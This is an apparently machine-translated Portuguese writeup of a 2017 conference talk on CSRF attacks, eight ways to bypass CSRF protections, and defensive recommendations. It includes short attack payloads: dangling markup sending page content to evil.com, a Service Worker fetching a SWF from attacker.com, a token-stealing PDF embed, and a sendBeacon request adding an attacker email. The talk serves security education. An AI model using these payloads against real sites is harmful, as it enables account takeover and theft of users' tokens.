O CSRF (falsificação de solicitação entre sites) traduzido para o russo é uma falsificação de solicitações entre sites.
Mikhail Egorov (
0ang3el ), em seu relatório no
Highload ++ 2017, falou sobre as vulnerabilidades do CSRF, sobre quais mecanismos de proteção são geralmente usados e como eles podem ser contornados de qualquer maneira. E, no final, ele trouxe uma série de dicas sobre como se defender adequadamente contra ataques de CSRF. Sob decodificação de gato deste desempenho.
Sobre o palestrante: Mikhail Egorov trabalha na Ingram Micro Cloud e atua na segurança de aplicativos. Em seu tempo livre, Mikhail está envolvido na busca de vulnerabilidades e caça de bugs e fala em conferências de segurança.
Isenção de responsabilidade: as informações fornecidas são apenas da opinião do autor, todas as correspondências são aleatórias.

Esse monstro dos cookies é o culpado pelo fato de os ataques CSRF funcionarem. O fato é que muitos aplicativos da Web usam cookies (a seguir, consideramos apropriado chamar cookies em russo) para controlar a sessão do usuário. O navegador foi projetado para que, se houver cookies de usuário para esse domínio e caminho, ele os envie automaticamente junto com a solicitação HTTP.
Cookies
Um cookie é um pequeno pedaço de dados que um servidor da Web envia para um cliente na forma de name = value em um cabeçalho HTTP chamado “Set-Cookie”. O navegador armazena esses dados no computador do usuário e, sempre que necessário, envia esses dados para o servidor da Web como parte de uma solicitação HTTP em um cabeçalho HTTP chamado "Cookie".
Os cookies podem ter vários atributos, como: expira, domínio, seguro, ATUALMENTE:
Os cookies apareceram pela primeira vez no navegador Netscape em 1994. Muitos aplicativos da web ainda os usam para gerenciar a sessão de um usuário.

Vamos ver como o ataque clássico de falsificação de solicitação entre sites (CSRF) funciona.
Digamos que nosso aplicativo Web tenha a capacidade de alterar o endereço de entrega do usuário e utilize cookies para controlar a sessão.
Temos um formulário HTML que o usuário deve preencher: digite o endereço e clique no botão "Salvar". Como resultado, uma solicitação POST com um formulário HTML voará para o back-end. Vimos que o navegador define automaticamente os cookies de sessão do usuário. O back-end, quando recebe uma solicitação, vê que existe uma sessão, é um usuário legítimo e altera seu endereço de entrega.
O que um invasor pode fazer?

Ele pode colocar uma página HTML em seu site
attacker.com que realmente envia o formulário HTML como
exemplo . com . Como o navegador insere automaticamente os cookies do usuário na solicitação HTTP, o back-end simplesmente não entende se a solicitação é legítima - é o resultado do preenchimento do formulário pelo usuário ou é um ataque de CSRF - e alterará o endereço de entrega do usuário para um valor benéfico para o invasor .
Há outra opção para um ataque CSRF usando a API XHR. Se muitos ouviram falar sobre o ataque CSRF usando formulários HTML, eles sabem menos sobre esse método, mas também funciona.

Observe o atributo withCredentials, que faz com que o navegador envie automaticamente cookies do usuário. Como o valor do tipo de conteúdo é application / x-www-form-urlencoded, o navegador enviará essa solicitação sem a solicitação de verificação prévia das opções CORS e, novamente, o ataque do CSRF funcionará.
Vamos considerar mais claramente como isso acontece.

Dados de origem:
- aplicativo example.com vulnerável ao CSRF,
- usuário
- site do invasor, onde há uma página csrf-xhr.html.
O usuário é autenticado no aplicativo, localizado em
example.com . Se ele for ao site do invasor, uma solicitação POST será executada automaticamente, o que mudará o endereço de entrega. O navegador inserirá automaticamente os cookies da sessão na solicitação e o back-end alterará o endereço.
Histórico de Ataques CSRF
Em geral, os ataques CSRF são conhecidos desde 2001, quando começaram a ser ativamente explorados. No período de 2008 a 2012, essas vulnerabilidades ocorreram em todos os primeiros sites, incluindo:
- YouTube
- The New York Times;
- Badoo
- Slideshare
- Vimeo;
- Hulu;
- Pesquisa de Cinema;
- ...
Quão sérias são as vulnerabilidades do CSRF?
De fato, tudo depende da criticidade da ação vulnerável. Pode ser:
- Controle de conta - o atacante captura a conta da vítima alterando o email via CSRF.
- Escalonamento de privilégios - aumento de privilégios devido ao fato de o invasor por meio do CSRF criar um novo usuário com altos direitos no sistema.
- Execução remota de código - execução de código devido à operação de injeção de comando no painel de administração via CSRF.
Vejamos o que as classificações de vulnerabilidades estabelecidas internacionalmente dizem sobre a gravidade do CSRF.
No projeto
OWASP Top 10 , que contém as 10 vulnerabilidades mais críticas no aplicativo, em 2010 as vulnerabilidades do CSRF estavam em
quinto lugar . Em seguida, os desenvolvedores começaram a implementar várias opções de proteção e, em 2013, as vulnerabilidades do CSRF passaram para a 8ª posição.
As vulnerabilidades do CSRF não foram incluídas na lista para 2017, porque supostamente, de acordo com as estatísticas, agora são encontradas no teste de penetração
apenas em 8% dos casos .
Pessoalmente, não concordo com essas estatísticas, porque literalmente nos últimos dois anos encontrei muitas vulnerabilidades de CSRF. Em seguida, vou lhe contar como fiz.
Na classificação
Bugcrowd VRT (Vulnerability Rating Taxonomy), as vulnerabilidades do CSRF em todo o aplicativo têm uma classificação de gravidade de P2 (Alta). Somente a gravidade crítica está acima, ou seja, essas são
vulnerabilidades bastante sérias .

Considere quais opções de proteção CSRF existem e como cada uma delas funciona.
1. Token CSRF- Para cada sessão do usuário, um token exclusivo e altamente entrópico é gerado.
- O token é inserido no DOM da página HTML ou é fornecido ao usuário por meio da API.
- O usuário com cada solicitação associada a qualquer alteração deve enviar um token no parâmetro ou no cabeçalho HTTP da solicitação.
- Como o invasor não conhece o token, o ataque clássico do CSRF não funciona.
2. Enviar cookie duas vezes- Novamente, um token exclusivo e altamente entrópico é gerado para cada sessão do usuário, mas é colocado em cookies.
- O usuário deve passar os mesmos valores na solicitação na solicitação e no parâmetro request.
- Se esses dois valores coincidirem nos cookies e no parâmetro, considera-se que esta é uma solicitação legítima.
- Como o atacante simplesmente não pode alterar os cookies no navegador do usuário, o ataque CSRF clássico não funciona.
3. Proteção baseada em tipo de conteúdo- O usuário deve enviar uma solicitação com um cabeçalho de tipo de conteúdo específico, por exemplo, application / json.
- Como é impossível enviar uma origem cruzada arbitrária do Tipo de Conteúdo no navegador por meio do formulário HTML ou da API XHR, o ataque CSRF clássico não funciona novamente.
4. Proteção baseada em referenciador- O usuário deve enviar uma solicitação com um valor específico do cabeçalho do Referer. O back-end verifica se, se estiver incorreto, considera-se que se trata de um ataque CSRF.
- Como o navegador não pode enviar um referenciador arbitrário por meio de um formulário HTML ou da API XHR, o ataque clássico ao CSRF não funciona.
5. Confirmação de senha / websudo- O usuário deve confirmar a ação com uma senha (ou segredo).
- Como o atacante não o conhece, o ataque clássico do CSRF não funciona.
6. Cookies SameSite no Chrome, OperaEsta é uma nova tecnologia projetada para proteger contra CSRF. No momento, ele funciona apenas em dois navegadores (Chrome, Opera).
- Um cookie é definido com um atributo adicional - samesite, que pode ter dois valores: lax ou strict.
- A essência da tecnologia é que o navegador não envia cookies se a solicitação for feita de outro domínio, por exemplo, do site do invasor. Assim, isso novamente protege contra o ataque clássico do CSRF.
Infelizmente, em qualquer lugar, existem recursos de navegadores, aplicativos da Web e sua implantação, que às vezes
permitem ignorar a proteção contra CSRF .
Portanto, agora vamos falar sobre
8 maneiras de ignorar a proteção que pode ser usada na prática.

Cenários de solução alternativa:
1. XSS (cross-sitescripting)Se o seu aplicativo da Web tiver XSS, isso automaticamente o tornará vulnerável ao CSRF e será difícil se proteger disso.
Você só pode colocar .
2. Marcação pendenteDigamos que nosso aplicativo tenha uma vulnerabilidade à injeção de HTML, mas não há XSS. Por exemplo, existe uma Política de Segurança de Conteúdo (CSP) que protege contra o XSS. Mas um invasor ainda pode incorporar tags HTML.
Se nosso aplicativo implementar proteção com base em tokens CSRF, o invasor poderá incorporar esse HTML, que não são imagens fechadas ou tags de formulário:
<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
Como resultado, parte da página HTML do DOM será enviada ao recurso do invasor. É altamente provável que, se o invasor implementar corretamente esse HTML, o que vier ao site do invasor conterá um token CSRF.
Assim, tendo aprendido o token, o atacante poderá explorar o CSRF da maneira clássica.
3. Subdomínio vulnerávelSuponha que tenhamos um subdomínio
foo.example.com e ele seja vulnerável à
aquisição de subdomínios ou
XSS. Como resultado da aquisição do subdomínio, o invasor controla totalmente o subdomínio e pode adicionar páginas HTML ou executar o código JS no contexto do subdomínio. Se nosso subdomínio estiver vulnerável a essas coisas, o invasor poderá contornar os seguintes tipos de proteção CSRF:
- Tokens de CSRF;
- Cookie de envio duplo;
- Proteção baseada em tipo de conteúdo.
Digamos que nosso aplicativo principal use o
CORS (compartilhamento de recursos entre origens) para comunicação entre domínios. Dois cabeçalhos são inseridos na resposta do servidor:
- Controle de acesso-Permitir origem: foo.example.com (foo.example.com - subdomínio vulnerável);
- Access-Control-Allow-Credentials: true - para que, usando a API XHR, seja possível fazer uma solicitação com cookies do usuário.
Se essas condições forem atendidas, o atacante pode simplesmente ler o token CSRF no subdomínio que ele controla e continuar a explorar o CSRF da maneira clássica.
A próxima opção. Suponha que exista um arquivo
crossdomain.xml no domínio principal que queremos atacar. Esse arquivo é usado por plugins em flash e PDF para interação com subdomínios, e o acesso a ele a partir de qualquer subdomínio é permitido.
<cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy>
Se o invasor puder fazer upload do arquivo JS para
foo.example.com , nesse caso, ele poderá usar a API do Service Worker para o subdomínio foo.example.com, que na verdade fornece o arquivo flash.
var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); }
Como temos crossdomain.xml no domínio principal, o que permite a interação de subdomínios, o atacante simplesmente lê o token CSRF através desse SWF.
A propósito, uma vulnerabilidade semelhante foi encontrada recentemente na Amazon, mais detalhes aqui .
Mesmo que o CORS não esteja configurado e não haja um arquivo crossdomain.xml, mas a proteção de cookie de envio duplo seja usada, um invasor pode simplesmente inserir cookies do subdomínio do domínio pai no caminho em que ele deseja explorar o CSRF e, assim, ignorar a proteção de cookie de envio duplo.
4. PDF incorretoEsta solução alternativa é baseada em PDF. A Adobe possui um plug-in PDF que é instalado automaticamente quando você instala o Adobe Reader. Este plugin suporta o chamado script FormCalc. No entanto, agora o plug-in PDF da Adobe funciona apenas no IE11 e no Firefox ESR.
O FormCalc possui dois ótimos métodos: get () e post (). Um invasor usando o método get pode ler o token CSRF, usando post, enviá-lo para o site. Portanto, o invasor recebe o token CSRF da vítima.
Suponha que tenhamos a capacidade de fazer upload de um arquivo PDF para um aplicativo da web. De fato, pode até ser um arquivo de formato diferente, por exemplo, um invasor pode tentar baixar um PDF sob o disfarce de uma imagem, que é o avatar do usuário.
O aplicativo possui alguma API no domínio principal, que permite obter o conteúdo do arquivo baixado. Em seguida, o invasor pode usar uma página HTML que incorpora o arquivo PDF que o invasor carregou no
example.com usando a tag incorporar.
<h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>
Arquivo
Leak.pdf :

Esse arquivo contém um script FormCalc, que apenas lê a página Settings.action, onde há um token CSRF no DOM e o envia usando o método post para o site do invasor.
Como o PDF é baixado do example.com, este PDF em si tem acesso total a todos os
https://example.com
origem e pode ler dados de lá sem violar o modo Política de mesma origem (SOP).
Um foco adicional é que, para o plug-in PDF, não importa com qual tipo de conteúdo o arquivo PDF é fornecido, e mesmo a resposta HTTP pode conter outros cabeçalhos (por exemplo, Disposição-conteúdo). O plug-in PDF ainda renderiza esse PDF e executa o script FormCalc.
5. Injeção de biscoitosSe a proteção de envio duplo de cookies for usada, se o invasor puder, de alguma forma, introduzir cookies, o jogo terminará.
Uma das opções mais populares nesse cenário é a
injeção de CRLF .
Se o invasor puder inserir cabeçalhos adicionais na resposta do servidor, ele poderá simplesmente adicionar o cabeçalho Set-Cookie com os cookies necessários e ignorar a proteção CSRF.
Outra opção está relacionada aos
recursos de manipulação de cookies do navegador .
Por exemplo, no Safari, você pode usar vírgula para inserir novos cookies (cookies separados por vírgula). Suponha que tenhamos um parâmetro de URL no cabeçalho chamado language. Nós processamos e escrevemos o valor do idioma selecionado para o usuário em cookies. Se o invasor inserir uma vírgula, ele poderá inserir cookies adicionais com qualquer nome.
Além disso, ignorar a proteção CSRF pode ajudar os
erros do navegador . Por exemplo, no Firefox, foi possível incorporar cookies por meio de uma imagem SVG (
CVE-2016-9078) . Se tivermos um editor HTML e permitirmos que o usuário insira tags de imagem, o invasor poderá simplesmente apontar para a imagem SVG no atributo SRC, que definirá os cookies necessários.
6. Alterar tipo de conteúdoAlguns desenvolvedores acreditam que, se você usar um formato de dados não padrão no corpo de uma solicitação POST para se comunicar com o back-end, isso poderá salvá-lo do CSRF. Este não é realmente o caso.
Como exemplo, cito uma vulnerabilidade que encontrei recentemente em um serviço de gerenciamento de notas muito popular.
Ele usou uma API que usa o Apache Thrift (formato de dados binários) e cookies para controlar a sessão. Por exemplo, para adicionar uma nova anotação, o usuário precisava enviar uma solicitação POST. Os dados binários foram transmitidos no corpo e o Tipo de conteúdo: application / x-thrift foi especificado.
POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43
De fato, esse tipo de conteúdo não foi validado no back-end. Foi possível alterá-lo para texto / sem formatação e usar a API XHR para explorar esta vulnerabilidade do CSRF simplesmente passando dados binários no corpo da solicitação POST.

De fato, a segurança baseada em tipo de conteúdo é uma opção de segurança muito ruim. É ignorado na maioria dos casos.
7. Tipo de Conteúdo Não SimplesPor meio do formulário HTML ou da API XHR, podemos enviar os seguintes tipos de conteúdo:
- texto / planície;
- application / x-www-form-urlencoded;
- multipart / form-data.
De fato, é possível enviar qualquer valor do tipo de conteúdo por:
- erros nos navegadores (por exemplo, Navigator.sendBeacon);
- plug-ins: plug-in Flash + 307 redirecionado e PDF + 307 redirecionado;
- estruturas de back-end.
Algumas estruturas, como a estrutura JAX-RS Apache CXF, suportam um parâmetro
chamado ctype na URL. Você pode especificar qualquer tipo de conteúdo nesse parâmetro; o back-end examinará esse parâmetro e o utilizará em vez do tipo de conteúdo, que é passado para o cabeçalho (
link para a fonte).
Um
bug bastante
conhecido no navegador Chrome foi encontrado em 2015, após o qual, após cerca de um mês, entrou no acesso público, mas foi corrigido apenas em 2017. Esse bug permitiu enviar uma solicitação POST com qualquer tipo de conteúdo para outra origem usando uma API chamada
Navigator.sendBeacon ().Como era a operação?
<script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script>
Criamos um novo blob com o tipo de conteúdo desejado e simplesmente o enviamos usando Navigator.sendBeacon ().
Outro cenário de solução alternativa que ainda funciona e é suportado nos navegadores é ignorar usando o plug-in flash.

Até mesmo no site
thehackerblog.com , onde já existe uma unidade flash pronta, basta especificar o URL, o cabeçalho, o Tipo de conteúdo desejado e os dados que você precisa transferir - você envia e uma solicitação POST com o Tipo de conteúdo desejado voa para o back-end.
Mas há um truque: você não pode simplesmente especificar o URL do site que estamos atacando. Você precisa especificar o recurso que fará o
redirecionamento com o código 307 no recurso que estamos atacando. Então vai funcionar.
8. Indicador de paródiaA última opção para ignorar a proteção CSRF é baseada no Referer. Há um
erro no navegador
Microsoft Edge , que ainda não foi corrigido e permite que você falsifique o valor do Referer. Mas funciona, infelizmente, apenas para solicitações GET. Se o back-end atacado não distingue GET do POST, esse bug pode ser explorado.
Se ainda precisamos do POST, existe um pequeno truque. Podemos enviar o referenciador de cabeçalho usando o plug-in PDF e o FormCalc.

Cerca de um ano atrás, era possível usar o plug-in PDF para enviar cabeçalhos em geral, incluindo host, mas a Adobe fechou essa possibilidade criando uma lista negra de cabeçalhos. Ou seja, se especificarmos Referer no cabeçalho, esse cabeçalho simplesmente não funcionará.
Em geral, o FormCalc nos permite enviar legalmente qualquer Tipo de Conteúdo. Se inserirmos caracteres de retorno de carridge e avanço de linha, podemos adicionar cabeçalhos adicionais à solicitação.
O que acontece se implementarmos o cabeçalho
Referer http://example.com
?
É claro que não está na lista negra e um cabeçalho com o nome
Referer http://example.com
será enviado ao back-end.
Alguns servidores, como WildFly ou Jboss, tratam o
espaço como o final do nome do cabeçalho HTTP, ou seja, os dois pontos `
: `. Assim, esses servidores verão que o Referer chegou a eles com o valor
http://example.com
. Então, substituiremos o Referer.

Esta é a tabela de resumo. As colunas fornecem proteção contra o CSRF e as linhas fornecem soluções alternativas. Em cada célula, os navegadores nos quais esse método funciona são indicados:
- Todos os meios para todos os navegadores;
- Todos * significa navegadores que não suportam cookies SameSite, ou seja, Tudo, exceto Chrome e Opera.

A opção mais importante e eficaz para se proteger contra ataques de CSRF é livrar-se de cookies e usar o cabeçalho com tokens.
Mas se você ainda não estiver pronto para desistir de cookies para gerenciar sua sessão de usuário:
- Modele ameaças e verifique a implementação da proteção CSRF (consulte a tabela Resumo).
- Implemente cookies SameSite. Agora, apenas dois navegadores suportam, mas no futuro, provavelmente, haverá mais.
- Combine várias defesas do CSRF - defesa em profundidade.
- Peça ao usuário uma senha para executar ações críticas.
- Forneça arquivos baixados pelo usuário em um domínio separado.
Em menos de seis meses, e a próxima alta carga em um mês - Highload ++ Siberia .
Queremos chamar sua atenção para alguns dos relatórios selecionados: